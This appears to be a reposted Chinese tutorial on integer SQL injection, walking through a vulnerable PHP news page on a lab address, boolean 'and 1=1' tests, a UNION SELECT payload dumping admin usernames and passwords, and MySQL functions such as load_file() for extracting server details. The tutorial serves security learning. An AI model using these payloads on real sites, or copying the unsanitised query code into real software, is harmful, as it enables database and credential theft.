0x01 什么是SQL注入
SQL是一種注入攻擊,通過前端帶入后端資料庫進行惡意的SQL陳述句查詢,
0x02 SQL整型注入原理
SQL注入一般發生在動態網站URL地址里,當然也會發生在其它地發,如登錄框等等也會存在注入,只要是和資料庫打交道的地方都有可能存在,
如這里http://192.168.30.22/intsql/shownews.php?id=5 我們打開shownews.php源檔案看下代碼
if(isset($_GET['id'])) { $id=$_GET["id"]; } else { echo "<script language='javascript'>"; echo "alert('ÇëÊäÈëÕýÈ·ID£¡');"; echo " location='index.php';"; echo "</script>"; exit; } $sql4="select * from news where id=$id"; $result4=mysql_query($sql4); if($nums=mysql_num_rows($result4)) { $rs4=mysql_fetch_array($result4); $title=$rs4["title"]; $content=$rs4["content"]; $hits=$rs4["hits"]; $fbsj=date("Y-m-d",strtotime($rs4['fbsj'])); $sql="update news set hits=hits+1 where id=$id"; mysql_query($sql); }
首先定義一個變數id,$id=$_GET["id"];獲取GET的值,
然后定義一個sql4變數來存放sql查詢陳述句,并和剛才變數id進行拼接組合,
$sql4="select * from news where id=$id";
最后帶入資料庫進行查詢 $result4=mysql_query($sql4);
由此可以確定此檔案存在SQL注入漏洞,id是數字型
0x03 驗證漏洞
現在我們在地址欄id=5 后面輸入 and 1=1 頁面回傳了正常
那么代碼里的sql陳述句拼接起來應該就是$sql4="select * from news where id=5 and 1=1"; //整條陳述句帶入資料庫進行查詢 SQL陳述句回傳為真即true
現在我們在地址欄id=5 后面輸入 and 1=2 頁面回傳了錯誤
那么代碼里的sql陳述句拼接起來應該就是$sql4="select * from news where id=5 and 1=2"; //整條陳述句帶入資料庫進行查詢 SQL陳述句回傳為假即false
依次類推,如果看不懂的話,可以去補一點sql基本語法知識,
最后在查詢出管理員的后臺賬號和密碼 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly
可以看到SQL陳述句拼接起來變成一條完整的select * from news where id=5 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly
mysql資料庫一些常用函式: 我們也可以加到查詢陳述句里進行爆出對應的資訊
1:system_user() 系統用戶名
2:user() 用戶名
3:current_user 當前用戶名
4:session_user()連接資料庫的用戶名
5:database() 資料庫名
6:version() MYSQL資料庫版本 @@version
7:load_file() MYSQL讀取本地檔案的函式
8:@@datadir 讀取資料庫路徑
9:@@basedir MYSQL 安裝路徑
10:@@version_compile_os 作業系統
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/745.html
標籤:訊息安全
上一篇:如何保證外包團隊接入企業內網安全
下一篇:[GXYCTF2019]禁止套娃